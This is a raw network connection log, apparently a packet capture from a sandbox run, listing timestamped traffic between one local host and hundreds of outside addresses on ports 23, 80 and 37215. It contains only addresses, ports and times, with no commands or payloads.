Jun 10, 2024 15:37:58.452802896 CEST	23	26049	57.70.89.151	192.168.2.13
Jun 10, 2024 15:37:58.452814102 CEST	26049	23	192.168.2.13	77.187.147.187
Jun 10, 2024 15:37:58.452816963 CEST	23	26049	44.158.131.61	192.168.2.13
Jun 10, 2024 15:37:58.452822924 CEST	26049	23	192.168.2.13	164.1.98.179
Jun 10, 2024 15:37:58.452831030 CEST	23	26049	208.240.113.197	192.168.2.13
Jun 10, 2024 15:37:58.452835083 CEST	26049	23	192.168.2.13	57.70.89.151
Jun 10, 2024 15:37:58.452845097 CEST	23	26049	168.177.5.159	192.168.2.13
Jun 10, 2024 15:37:58.452853918 CEST	26049	23	192.168.2.13	44.158.131.61
Jun 10, 2024 15:37:58.452857018 CEST	23	26049	201.214.98.69	192.168.2.13
Jun 10, 2024 15:37:58.452869892 CEST	23	26049	36.94.105.34	192.168.2.13
Jun 10, 2024 15:37:58.452868938 CEST	26049	23	192.168.2.13	208.240.113.197
Jun 10, 2024 15:37:58.452879906 CEST	26049	23	192.168.2.13	168.177.5.159
Jun 10, 2024 15:37:58.452883959 CEST	23	26049	41.192.162.36	192.168.2.13
Jun 10, 2024 15:37:58.452893972 CEST	26049	23	192.168.2.13	201.214.98.69
Jun 10, 2024 15:37:58.452897072 CEST	23	26049	143.42.68.50	192.168.2.13
Jun 10, 2024 15:37:58.452909946 CEST	23	26049	198.109.109.221	192.168.2.13
Jun 10, 2024 15:37:58.452909946 CEST	26049	23	192.168.2.13	36.94.105.34
Jun 10, 2024 15:37:58.452919960 CEST	26049	23	192.168.2.13	41.192.162.36
Jun 10, 2024 15:37:58.452922106 CEST	23	26049	110.162.136.56	192.168.2.13
Jun 10, 2024 15:37:58.452931881 CEST	26049	23	192.168.2.13	143.42.68.50
Jun 10, 2024 15:37:58.452934027 CEST	23	26049	105.36.61.133	192.168.2.13
Jun 10, 2024 15:37:58.452939987 CEST	26049	23	192.168.2.13	198.109.109.221
Jun 10, 2024 15:37:58.452946901 CEST	23	26049	44.56.172.81	192.168.2.13
Jun 10, 2024 15:37:58.452950001 CEST	26049	23	192.168.2.13	110.162.136.56
Jun 10, 2024 15:37:58.452960014 CEST	23	26049	57.92.3.171	192.168.2.13
Jun 10, 2024 15:37:58.452969074 CEST	26049	23	192.168.2.13	105.36.61.133
Jun 10, 2024 15:37:58.452971935 CEST	23	26049	173.19.159.245	192.168.2.13
Jun 10, 2024 15:37:58.452985048 CEST	23	26049	104.82.175.84	192.168.2.13
Jun 10, 2024 15:37:58.452985048 CEST	26049	23	192.168.2.13	44.56.172.81
Jun 10, 2024 15:37:58.452991009 CEST	26049	23	192.168.2.13	57.92.3.171
Jun 10, 2024 15:37:58.453000069 CEST	23	26049	105.27.179.71	192.168.2.13
Jun 10, 2024 15:37:58.453013897 CEST	23	26049	70.210.54.113	192.168.2.13
Jun 10, 2024 15:37:58.453016043 CEST	26049	23	192.168.2.13	173.19.159.245
Jun 10, 2024 15:37:58.453018904 CEST	26049	23	192.168.2.13	104.82.175.84
Jun 10, 2024 15:37:58.453027010 CEST	23	26049	46.93.148.61	192.168.2.13
Jun 10, 2024 15:37:58.453032970 CEST	26049	23	192.168.2.13	105.27.179.71
Jun 10, 2024 15:37:58.453042030 CEST	23	26049	216.62.157.206	192.168.2.13
Jun 10, 2024 15:37:58.453047991 CEST	26049	23	192.168.2.13	70.210.54.113
Jun 10, 2024 15:37:58.453052044 CEST	26049	23	192.168.2.13	46.93.148.61
Jun 10, 2024 15:37:58.453058004 CEST	23	26049	115.66.112.224	192.168.2.13
Jun 10, 2024 15:37:58.453071117 CEST	23	26049	102.60.12.91	192.168.2.13
Jun 10, 2024 15:37:58.453083038 CEST	26049	23	192.168.2.13	216.62.157.206
Jun 10, 2024 15:37:58.453083038 CEST	23	26049	222.73.198.208	192.168.2.13
Jun 10, 2024 15:37:58.453088999 CEST	26049	23	192.168.2.13	115.66.112.224
Jun 10, 2024 15:37:58.453097105 CEST	23	26049	116.148.59.168	192.168.2.13
Jun 10, 2024 15:37:58.453107119 CEST	26049	23	192.168.2.13	102.60.12.91
Jun 10, 2024 15:37:58.453110933 CEST	23	26049	25.145.103.52	192.168.2.13
Jun 10, 2024 15:37:58.453120947 CEST	26049	23	192.168.2.13	222.73.198.208
Jun 10, 2024 15:37:58.453124046 CEST	23	26049	183.135.245.200	192.168.2.13
Jun 10, 2024 15:37:58.453134060 CEST	26049	23	192.168.2.13	116.148.59.168
Jun 10, 2024 15:37:58.453135967 CEST	23	26049	109.37.141.207	192.168.2.13
Jun 10, 2024 15:37:58.453144073 CEST	26049	23	192.168.2.13	25.145.103.52
Jun 10, 2024 15:37:58.453149080 CEST	23	26049	8.236.126.221	192.168.2.13
Jun 10, 2024 15:37:58.453151941 CEST	26049	23	192.168.2.13	183.135.245.200
Jun 10, 2024 15:37:58.453162909 CEST	23	26049	42.235.187.49	192.168.2.13
Jun 10, 2024 15:37:58.453171968 CEST	26049	23	192.168.2.13	109.37.141.207
Jun 10, 2024 15:37:58.453176975 CEST	23	26049	190.145.163.37	192.168.2.13
Jun 10, 2024 15:37:58.453185081 CEST	26049	23	192.168.2.13	8.236.126.221
Jun 10, 2024 15:37:58.453188896 CEST	23	26049	93.71.51.69	192.168.2.13
Jun 10, 2024 15:37:58.453200102 CEST	26049	23	192.168.2.13	190.145.163.37
Jun 10, 2024 15:37:58.453203917 CEST	23	26049	96.250.118.96	192.168.2.13
Jun 10, 2024 15:37:58.453210115 CEST	26049	23	192.168.2.13	42.235.187.49
Jun 10, 2024 15:37:58.453217030 CEST	23	26049	221.246.224.124	192.168.2.13
Jun 10, 2024 15:37:58.453222036 CEST	26049	23	192.168.2.13	93.71.51.69
Jun 10, 2024 15:37:58.453231096 CEST	23	26049	76.123.93.84	192.168.2.13
Jun 10, 2024 15:37:58.453238964 CEST	26049	23	192.168.2.13	96.250.118.96
Jun 10, 2024 15:37:58.453244925 CEST	23	26049	119.40.4.36	192.168.2.13
Jun 10, 2024 15:37:58.453248978 CEST	26049	23	192.168.2.13	221.246.224.124
Jun 10, 2024 15:37:58.453257084 CEST	23	26049	89.230.57.228	192.168.2.13
Jun 10, 2024 15:37:58.453269958 CEST	23	26049	5.16.47.154	192.168.2.13
Jun 10, 2024 15:37:58.453269958 CEST	26049	23	192.168.2.13	76.123.93.84
Jun 10, 2024 15:37:58.453288078 CEST	26049	23	192.168.2.13	89.230.57.228
Jun 10, 2024 15:37:58.453298092 CEST	26049	23	192.168.2.13	5.16.47.154
Jun 10, 2024 15:37:58.453299999 CEST	26049	23	192.168.2.13	119.40.4.36
Jun 10, 2024 15:37:58.455234051 CEST	23	26049	12.246.114.97	192.168.2.13
Jun 10, 2024 15:37:58.455252886 CEST	23	26049	42.222.181.188	192.168.2.13
Jun 10, 2024 15:37:58.455265045 CEST	23	26049	222.32.137.153	192.168.2.13
Jun 10, 2024 15:37:58.455272913 CEST	26049	23	192.168.2.13	12.246.114.97
Jun 10, 2024 15:37:58.455279112 CEST	23	26049	45.206.218.250	192.168.2.13
Jun 10, 2024 15:37:58.455285072 CEST	26049	23	192.168.2.13	42.222.181.188
Jun 10, 2024 15:37:58.455293894 CEST	23	26049	37.172.34.219	192.168.2.13
Jun 10, 2024 15:37:58.455303907 CEST	26049	23	192.168.2.13	222.32.137.153
Jun 10, 2024 15:37:58.455307961 CEST	23	26049	57.219.233.84	192.168.2.13
Jun 10, 2024 15:37:58.455322027 CEST	23	26049	90.173.196.107	192.168.2.13
Jun 10, 2024 15:37:58.455322981 CEST	26049	23	192.168.2.13	45.206.218.250
Jun 10, 2024 15:37:58.455323935 CEST	26049	23	192.168.2.13	37.172.34.219
Jun 10, 2024 15:37:58.455333948 CEST	23	26049	155.75.240.185	192.168.2.13
Jun 10, 2024 15:37:58.455347061 CEST	23	26049	65.40.214.71	192.168.2.13
Jun 10, 2024 15:37:58.455352068 CEST	26049	23	192.168.2.13	57.219.233.84
Jun 10, 2024 15:37:58.455352068 CEST	26049	23	192.168.2.13	90.173.196.107
Jun 10, 2024 15:37:58.455359936 CEST	23	26049	124.88.64.232	192.168.2.13
Jun 10, 2024 15:37:58.455374002 CEST	23	26049	191.255.50.88	192.168.2.13
Jun 10, 2024 15:37:58.455374956 CEST	26049	23	192.168.2.13	65.40.214.71
Jun 10, 2024 15:37:58.455374956 CEST	26049	23	192.168.2.13	155.75.240.185
Jun 10, 2024 15:37:58.455387115 CEST	23	26049	216.98.67.120	192.168.2.13
Jun 10, 2024 15:37:58.455399036 CEST	26049	23	192.168.2.13	124.88.64.232
Jun 10, 2024 15:37:58.455399990 CEST	23	26049	109.27.109.48	192.168.2.13
Jun 10, 2024 15:37:58.455410957 CEST	26049	23	192.168.2.13	191.255.50.88
Jun 10, 2024 15:37:58.455413103 CEST	23	26049	162.220.241.178	192.168.2.13
Jun 10, 2024 15:37:58.455413103 CEST	26049	23	192.168.2.13	216.98.67.120
Jun 10, 2024 15:37:58.455425978 CEST	23	26049	187.11.130.123	192.168.2.13
Jun 10, 2024 15:37:58.455437899 CEST	23	26049	174.45.239.149	192.168.2.13
Jun 10, 2024 15:37:58.455447912 CEST	26049	23	192.168.2.13	109.27.109.48
Jun 10, 2024 15:37:58.455449104 CEST	26049	23	192.168.2.13	162.220.241.178
Jun 10, 2024 15:37:58.455451012 CEST	23	26049	205.254.221.208	192.168.2.13
Jun 10, 2024 15:37:58.455449104 CEST	26049	23	192.168.2.13	187.11.130.123
Jun 10, 2024 15:37:58.455465078 CEST	23	26049	40.243.72.104	192.168.2.13
Jun 10, 2024 15:37:58.455477953 CEST	23	26049	120.20.178.77	192.168.2.13
Jun 10, 2024 15:37:58.455482006 CEST	26049	23	192.168.2.13	174.45.239.149
Jun 10, 2024 15:37:58.455482006 CEST	26049	23	192.168.2.13	205.254.221.208
Jun 10, 2024 15:37:58.455491066 CEST	23	26049	31.97.187.112	192.168.2.13
Jun 10, 2024 15:37:58.455492973 CEST	26049	23	192.168.2.13	40.243.72.104
Jun 10, 2024 15:37:58.455503941 CEST	23	26049	164.214.215.9	192.168.2.13
Jun 10, 2024 15:37:58.455508947 CEST	26049	23	192.168.2.13	120.20.178.77
Jun 10, 2024 15:37:58.455518007 CEST	23	26049	12.103.169.22	192.168.2.13
Jun 10, 2024 15:37:58.455522060 CEST	26049	23	192.168.2.13	31.97.187.112
Jun 10, 2024 15:37:58.455533028 CEST	23	26049	196.87.218.185	192.168.2.13
Jun 10, 2024 15:37:58.455537081 CEST	26049	23	192.168.2.13	164.214.215.9
Jun 10, 2024 15:37:58.455545902 CEST	23	26049	74.153.175.162	192.168.2.13
Jun 10, 2024 15:37:58.455552101 CEST	26049	23	192.168.2.13	12.103.169.22
Jun 10, 2024 15:37:58.455559969 CEST	26049	23	192.168.2.13	196.87.218.185
Jun 10, 2024 15:37:58.455563068 CEST	23	26049	205.43.27.201	192.168.2.13
Jun 10, 2024 15:37:58.455576897 CEST	23	26049	134.65.153.178	192.168.2.13
Jun 10, 2024 15:37:58.455581903 CEST	26049	23	192.168.2.13	74.153.175.162
Jun 10, 2024 15:37:58.455590010 CEST	23	26049	84.201.14.155	192.168.2.13
Jun 10, 2024 15:37:58.455602884 CEST	23	26049	177.21.52.234	192.168.2.13
Jun 10, 2024 15:37:58.455605984 CEST	26049	23	192.168.2.13	205.43.27.201
Jun 10, 2024 15:37:58.455605984 CEST	26049	23	192.168.2.13	134.65.153.178
Jun 10, 2024 15:37:58.455615044 CEST	23	26049	154.41.63.230	192.168.2.13
Jun 10, 2024 15:37:58.455621004 CEST	26049	23	192.168.2.13	84.201.14.155
Jun 10, 2024 15:37:58.455627918 CEST	23	26049	71.129.181.43	192.168.2.13
Jun 10, 2024 15:37:58.455638885 CEST	26049	23	192.168.2.13	177.21.52.234
Jun 10, 2024 15:37:58.455641031 CEST	23	26049	165.235.105.174	192.168.2.13
Jun 10, 2024 15:37:58.455655098 CEST	26049	23	192.168.2.13	71.129.181.43
Jun 10, 2024 15:37:58.455658913 CEST	23	26049	107.171.22.122	192.168.2.13
Jun 10, 2024 15:37:58.455662012 CEST	26049	23	192.168.2.13	154.41.63.230
Jun 10, 2024 15:37:58.455674887 CEST	23	26049	86.17.243.66	192.168.2.13
Jun 10, 2024 15:37:58.455682039 CEST	26049	23	192.168.2.13	165.235.105.174
Jun 10, 2024 15:37:58.455688953 CEST	26049	23	192.168.2.13	107.171.22.122
Jun 10, 2024 15:37:58.455693007 CEST	23	26049	190.134.164.63	192.168.2.13
Jun 10, 2024 15:37:58.455703020 CEST	26049	23	192.168.2.13	86.17.243.66
Jun 10, 2024 15:37:58.455705881 CEST	23	26049	158.26.227.92	192.168.2.13
Jun 10, 2024 15:37:58.455718994 CEST	23	26049	202.182.45.230	192.168.2.13
Jun 10, 2024 15:37:58.455719948 CEST	26049	23	192.168.2.13	190.134.164.63
Jun 10, 2024 15:37:58.455733061 CEST	23	26049	40.20.46.119	192.168.2.13
Jun 10, 2024 15:37:58.455735922 CEST	26049	23	192.168.2.13	158.26.227.92
Jun 10, 2024 15:37:58.455745935 CEST	23	26049	205.128.69.193	192.168.2.13
Jun 10, 2024 15:37:58.455758095 CEST	23	26049	101.54.6.174	192.168.2.13
Jun 10, 2024 15:37:58.455760956 CEST	26049	23	192.168.2.13	202.182.45.230
Jun 10, 2024 15:37:58.455763102 CEST	26049	23	192.168.2.13	40.20.46.119
Jun 10, 2024 15:37:58.455774069 CEST	23	26049	59.56.254.62	192.168.2.13
Jun 10, 2024 15:37:58.455785036 CEST	26049	23	192.168.2.13	101.54.6.174
Jun 10, 2024 15:37:58.455786943 CEST	26049	23	192.168.2.13	205.128.69.193
Jun 10, 2024 15:37:58.455802917 CEST	26049	23	192.168.2.13	59.56.254.62
Jun 10, 2024 15:37:58.456907988 CEST	30401	37215	192.168.2.13	156.143.243.166
Jun 10, 2024 15:37:58.456975937 CEST	30401	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:58.456996918 CEST	30401	37215	192.168.2.13	41.112.237.34
Jun 10, 2024 15:37:58.456996918 CEST	30401	37215	192.168.2.13	156.190.41.183
Jun 10, 2024 15:37:58.457010984 CEST	30401	37215	192.168.2.13	156.57.11.197
Jun 10, 2024 15:37:58.457015991 CEST	30401	37215	192.168.2.13	156.18.195.164
Jun 10, 2024 15:37:58.457015991 CEST	30401	37215	192.168.2.13	156.249.70.243
Jun 10, 2024 15:37:58.457020044 CEST	30401	37215	192.168.2.13	41.251.69.196
Jun 10, 2024 15:37:58.457034111 CEST	30401	37215	192.168.2.13	41.117.101.224
Jun 10, 2024 15:37:58.457036018 CEST	30401	37215	192.168.2.13	156.205.253.53
Jun 10, 2024 15:37:58.457047939 CEST	16833	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:58.457047939 CEST	30401	37215	192.168.2.13	156.89.39.231
Jun 10, 2024 15:37:58.457047939 CEST	30401	37215	192.168.2.13	41.97.23.92
Jun 10, 2024 15:37:58.457073927 CEST	30401	37215	192.168.2.13	156.32.132.93
Jun 10, 2024 15:37:58.457088947 CEST	30401	37215	192.168.2.13	156.60.90.199
Jun 10, 2024 15:37:58.457098961 CEST	30401	37215	192.168.2.13	156.67.226.82
Jun 10, 2024 15:37:58.457103014 CEST	30401	37215	192.168.2.13	197.192.210.171
Jun 10, 2024 15:37:58.457118034 CEST	30401	37215	192.168.2.13	156.185.143.113
Jun 10, 2024 15:37:58.457118988 CEST	30401	37215	192.168.2.13	197.11.121.199
Jun 10, 2024 15:37:58.457128048 CEST	30401	37215	192.168.2.13	41.92.127.129
Jun 10, 2024 15:37:58.457129002 CEST	30401	37215	192.168.2.13	197.53.161.229
Jun 10, 2024 15:37:58.457132101 CEST	30401	37215	192.168.2.13	156.78.13.161
Jun 10, 2024 15:37:58.457144022 CEST	16833	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:58.457144976 CEST	16833	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:58.457149029 CEST	30401	37215	192.168.2.13	156.97.36.34
Jun 10, 2024 15:37:58.457149029 CEST	16833	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:58.457164049 CEST	30401	37215	192.168.2.13	197.142.203.17
Jun 10, 2024 15:37:58.457166910 CEST	30401	37215	192.168.2.13	156.79.10.64
Jun 10, 2024 15:37:58.457166910 CEST	30401	37215	192.168.2.13	41.30.124.178
Jun 10, 2024 15:37:58.457166910 CEST	30401	37215	192.168.2.13	156.10.20.117
Jun 10, 2024 15:37:58.457170963 CEST	30401	37215	192.168.2.13	156.31.27.232
Jun 10, 2024 15:37:58.457199097 CEST	16833	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:58.457199097 CEST	16833	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:58.457200050 CEST	30401	37215	192.168.2.13	197.125.224.191
Jun 10, 2024 15:37:58.457214117 CEST	30401	37215	192.168.2.13	156.82.1.213
Jun 10, 2024 15:37:58.457221031 CEST	30401	37215	192.168.2.13	197.56.205.250
Jun 10, 2024 15:37:58.457221031 CEST	30401	37215	192.168.2.13	156.98.83.218
Jun 10, 2024 15:37:58.457225084 CEST	16833	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:58.457232952 CEST	30401	37215	192.168.2.13	197.215.149.213
Jun 10, 2024 15:37:58.457236052 CEST	16833	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:58.457238913 CEST	30401	37215	192.168.2.13	156.216.173.116
Jun 10, 2024 15:37:58.457242966 CEST	30401	37215	192.168.2.13	41.86.126.31
Jun 10, 2024 15:37:58.457247972 CEST	16833	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:58.457247972 CEST	16833	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:58.457272053 CEST	16833	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:58.457273006 CEST	16833	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:58.457273006 CEST	16833	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:58.457283020 CEST	30401	37215	192.168.2.13	197.123.58.130
Jun 10, 2024 15:37:58.457290888 CEST	30401	37215	192.168.2.13	41.119.93.57
Jun 10, 2024 15:37:58.457309008 CEST	16833	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:58.457323074 CEST	16833	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:58.457329988 CEST	30401	37215	192.168.2.13	197.35.253.5
Jun 10, 2024 15:37:58.457333088 CEST	30401	37215	192.168.2.13	197.252.226.228
Jun 10, 2024 15:37:58.457333088 CEST	30401	37215	192.168.2.13	41.196.189.226
Jun 10, 2024 15:37:58.457345963 CEST	30401	37215	192.168.2.13	41.12.156.197
Jun 10, 2024 15:37:58.457350016 CEST	16833	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:58.457350969 CEST	30401	37215	192.168.2.13	41.41.95.201
Jun 10, 2024 15:37:58.457354069 CEST	30401	37215	192.168.2.13	41.113.11.68
Jun 10, 2024 15:37:58.457355022 CEST	30401	37215	192.168.2.13	156.167.122.41
Jun 10, 2024 15:37:58.457362890 CEST	16833	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:58.457366943 CEST	30401	37215	192.168.2.13	41.26.2.2
Jun 10, 2024 15:37:58.457374096 CEST	30401	37215	192.168.2.13	41.201.89.180
Jun 10, 2024 15:37:58.457377911 CEST	30401	37215	192.168.2.13	156.59.177.15
Jun 10, 2024 15:37:58.457379103 CEST	16833	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:58.457379103 CEST	30401	37215	192.168.2.13	197.119.156.133
Jun 10, 2024 15:37:58.457381964 CEST	30401	37215	192.168.2.13	41.66.186.65
Jun 10, 2024 15:37:58.457384109 CEST	16833	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:58.457384109 CEST	30401	37215	192.168.2.13	197.234.232.228
Jun 10, 2024 15:37:58.457384109 CEST	30401	37215	192.168.2.13	197.216.238.129
Jun 10, 2024 15:37:58.457386971 CEST	30401	37215	192.168.2.13	197.27.200.127
Jun 10, 2024 15:37:58.457386971 CEST	30401	37215	192.168.2.13	156.237.170.76
Jun 10, 2024 15:37:58.457393885 CEST	16833	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:58.457395077 CEST	30401	37215	192.168.2.13	41.15.193.245
Jun 10, 2024 15:37:58.457395077 CEST	30401	37215	192.168.2.13	197.230.194.3
Jun 10, 2024 15:37:58.457395077 CEST	30401	37215	192.168.2.13	156.27.221.22
Jun 10, 2024 15:37:58.457395077 CEST	30401	37215	192.168.2.13	41.174.115.39
Jun 10, 2024 15:37:58.457400084 CEST	30401	37215	192.168.2.13	156.201.14.29
Jun 10, 2024 15:37:58.457401991 CEST	30401	37215	192.168.2.13	197.91.250.61
Jun 10, 2024 15:37:58.457412958 CEST	30401	37215	192.168.2.13	197.33.14.33
Jun 10, 2024 15:37:58.457415104 CEST	30401	37215	192.168.2.13	41.170.34.101
Jun 10, 2024 15:37:58.457423925 CEST	16833	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:58.457429886 CEST	16833	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:58.457429886 CEST	16833	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:58.457429886 CEST	30401	37215	192.168.2.13	156.163.10.127
Jun 10, 2024 15:37:58.457432032 CEST	16833	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:58.457437038 CEST	16833	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:58.457442045 CEST	30401	37215	192.168.2.13	156.211.89.221
Jun 10, 2024 15:37:58.457443953 CEST	30401	37215	192.168.2.13	156.149.40.98
Jun 10, 2024 15:37:58.457448006 CEST	30401	37215	192.168.2.13	41.133.249.86
Jun 10, 2024 15:37:58.457448006 CEST	30401	37215	192.168.2.13	156.0.100.48
Jun 10, 2024 15:37:58.457453966 CEST	30401	37215	192.168.2.13	156.200.103.68
Jun 10, 2024 15:37:58.457458019 CEST	30401	37215	192.168.2.13	156.245.32.228
Jun 10, 2024 15:37:58.457467079 CEST	30401	37215	192.168.2.13	41.129.117.24
Jun 10, 2024 15:37:58.457473993 CEST	30401	37215	192.168.2.13	197.204.132.252
Jun 10, 2024 15:37:58.457479000 CEST	16833	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:58.457479000 CEST	16833	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:58.457480907 CEST	23	26049	25.43.177.128	192.168.2.13
Jun 10, 2024 15:37:58.457492113 CEST	30401	37215	192.168.2.13	156.20.52.94
Jun 10, 2024 15:37:58.457498074 CEST	23	26049	203.57.87.102	192.168.2.13
Jun 10, 2024 15:37:58.457499027 CEST	30401	37215	192.168.2.13	41.249.229.189
Jun 10, 2024 15:37:58.457499027 CEST	16833	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:58.457510948 CEST	16833	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:58.457510948 CEST	30401	37215	192.168.2.13	41.38.173.29
Jun 10, 2024 15:37:58.457510948 CEST	23	26049	1.84.84.214	192.168.2.13
Jun 10, 2024 15:37:58.457513094 CEST	30401	37215	192.168.2.13	197.167.46.184
Jun 10, 2024 15:37:58.457513094 CEST	16833	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:58.457519054 CEST	30401	37215	192.168.2.13	197.117.1.160
Jun 10, 2024 15:37:58.457524061 CEST	26049	23	192.168.2.13	25.43.177.128
Jun 10, 2024 15:37:58.457526922 CEST	23	26049	91.177.247.187	192.168.2.13
Jun 10, 2024 15:37:58.457531929 CEST	30401	37215	192.168.2.13	156.200.31.222
Jun 10, 2024 15:37:58.457531929 CEST	30401	37215	192.168.2.13	156.241.178.155
Jun 10, 2024 15:37:58.457532883 CEST	16833	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:58.457531929 CEST	30401	37215	192.168.2.13	197.104.66.200
Jun 10, 2024 15:37:58.457532883 CEST	26049	23	192.168.2.13	203.57.87.102
Jun 10, 2024 15:37:58.457540989 CEST	23	26049	107.125.84.76	192.168.2.13
Jun 10, 2024 15:37:58.457540989 CEST	30401	37215	192.168.2.13	41.77.126.220
Jun 10, 2024 15:37:58.457551003 CEST	26049	23	192.168.2.13	1.84.84.214
Jun 10, 2024 15:37:58.457551003 CEST	26049	23	192.168.2.13	91.177.247.187
Jun 10, 2024 15:37:58.457551956 CEST	16833	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:58.457552910 CEST	23	26049	207.58.67.69	192.168.2.13
Jun 10, 2024 15:37:58.457566023 CEST	23	26049	159.253.156.228	192.168.2.13
Jun 10, 2024 15:37:58.457568884 CEST	30401	37215	192.168.2.13	41.62.237.163
Jun 10, 2024 15:37:58.457571983 CEST	26049	23	192.168.2.13	107.125.84.76
Jun 10, 2024 15:37:58.457577944 CEST	23	26049	204.214.87.137	192.168.2.13
Jun 10, 2024 15:37:58.457591057 CEST	23	26049	161.201.139.233	192.168.2.13
Jun 10, 2024 15:37:58.457592010 CEST	26049	23	192.168.2.13	207.58.67.69
Jun 10, 2024 15:37:58.457596064 CEST	26049	23	192.168.2.13	159.253.156.228
Jun 10, 2024 15:37:58.457602978 CEST	23	26049	120.183.125.25	192.168.2.13
Jun 10, 2024 15:37:58.457606077 CEST	30401	37215	192.168.2.13	41.29.83.119
Jun 10, 2024 15:37:58.457607031 CEST	16833	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:58.457612991 CEST	30401	37215	192.168.2.13	156.67.39.138
Jun 10, 2024 15:37:58.457614899 CEST	23	26049	1.24.107.160	192.168.2.13
Jun 10, 2024 15:37:58.457618952 CEST	30401	37215	192.168.2.13	41.119.15.3
Jun 10, 2024 15:37:58.457622051 CEST	30401	37215	192.168.2.13	156.111.65.226
Jun 10, 2024 15:37:58.457618952 CEST	30401	37215	192.168.2.13	197.154.100.53
Jun 10, 2024 15:37:58.457622051 CEST	30401	37215	192.168.2.13	197.194.19.10
Jun 10, 2024 15:37:58.457628012 CEST	30401	37215	192.168.2.13	41.41.124.55
Jun 10, 2024 15:37:58.457628965 CEST	26049	23	192.168.2.13	161.201.139.233
Jun 10, 2024 15:37:58.457628965 CEST	23	26049	143.81.122.70	192.168.2.13
Jun 10, 2024 15:37:58.457632065 CEST	30401	37215	192.168.2.13	41.163.61.71
Jun 10, 2024 15:37:58.457632065 CEST	26049	23	192.168.2.13	204.214.87.137
Jun 10, 2024 15:37:58.457632065 CEST	30401	37215	192.168.2.13	156.224.63.34
Jun 10, 2024 15:37:58.457644939 CEST	23	26049	40.171.51.58	192.168.2.13
Jun 10, 2024 15:37:58.457647085 CEST	26049	23	192.168.2.13	120.183.125.25
Jun 10, 2024 15:37:58.457647085 CEST	26049	23	192.168.2.13	1.24.107.160
Jun 10, 2024 15:37:58.457655907 CEST	30401	37215	192.168.2.13	41.27.60.158
Jun 10, 2024 15:37:58.457655907 CEST	30401	37215	192.168.2.13	41.5.141.78
Jun 10, 2024 15:37:58.457658052 CEST	23	26049	71.36.70.51	192.168.2.13
Jun 10, 2024 15:37:58.457665920 CEST	26049	23	192.168.2.13	143.81.122.70
Jun 10, 2024 15:37:58.457670927 CEST	23	26049	73.13.141.221	192.168.2.13
Jun 10, 2024 15:37:58.457683086 CEST	23	26049	97.94.192.30	192.168.2.13
Jun 10, 2024 15:37:58.457686901 CEST	26049	23	192.168.2.13	40.171.51.58
Jun 10, 2024 15:37:58.457688093 CEST	30401	37215	192.168.2.13	41.35.30.186
Jun 10, 2024 15:37:58.457694054 CEST	30401	37215	192.168.2.13	41.20.9.54
Jun 10, 2024 15:37:58.457695961 CEST	23	26049	99.52.158.82	192.168.2.13
Jun 10, 2024 15:37:58.457694054 CEST	26049	23	192.168.2.13	71.36.70.51
Jun 10, 2024 15:37:58.457694054 CEST	30401	37215	192.168.2.13	156.143.57.24
Jun 10, 2024 15:37:58.457698107 CEST	30401	37215	192.168.2.13	156.184.221.6
Jun 10, 2024 15:37:58.457694054 CEST	26049	23	192.168.2.13	73.13.141.221
Jun 10, 2024 15:37:58.457709074 CEST	23	26049	41.137.180.220	192.168.2.13
Jun 10, 2024 15:37:58.457720995 CEST	23	26049	111.40.156.107	192.168.2.13
Jun 10, 2024 15:37:58.457722902 CEST	16833	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:58.457726955 CEST	26049	23	192.168.2.13	99.52.158.82
Jun 10, 2024 15:37:58.457734108 CEST	23	26049	83.163.200.173	192.168.2.13
Jun 10, 2024 15:37:58.457739115 CEST	30401	37215	192.168.2.13	156.211.61.223
Jun 10, 2024 15:37:58.457741976 CEST	26049	23	192.168.2.13	97.94.192.30
Jun 10, 2024 15:37:58.457741976 CEST	26049	23	192.168.2.13	41.137.180.220
Jun 10, 2024 15:37:58.457747936 CEST	23	26049	108.99.28.0	192.168.2.13
Jun 10, 2024 15:37:58.457747936 CEST	30401	37215	192.168.2.13	197.159.104.223
Jun 10, 2024 15:37:58.457753897 CEST	26049	23	192.168.2.13	111.40.156.107
Jun 10, 2024 15:37:58.457761049 CEST	23	26049	39.197.152.33	192.168.2.13
Jun 10, 2024 15:37:58.457763910 CEST	30401	37215	192.168.2.13	156.60.134.82
Jun 10, 2024 15:37:58.457772970 CEST	23	26049	9.131.12.103	192.168.2.13
Jun 10, 2024 15:37:58.457775116 CEST	26049	23	192.168.2.13	108.99.28.0
Jun 10, 2024 15:37:58.457783937 CEST	16833	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:58.457788944 CEST	23	26049	40.43.105.50	192.168.2.13
Jun 10, 2024 15:37:58.457792044 CEST	30401	37215	192.168.2.13	197.66.41.3
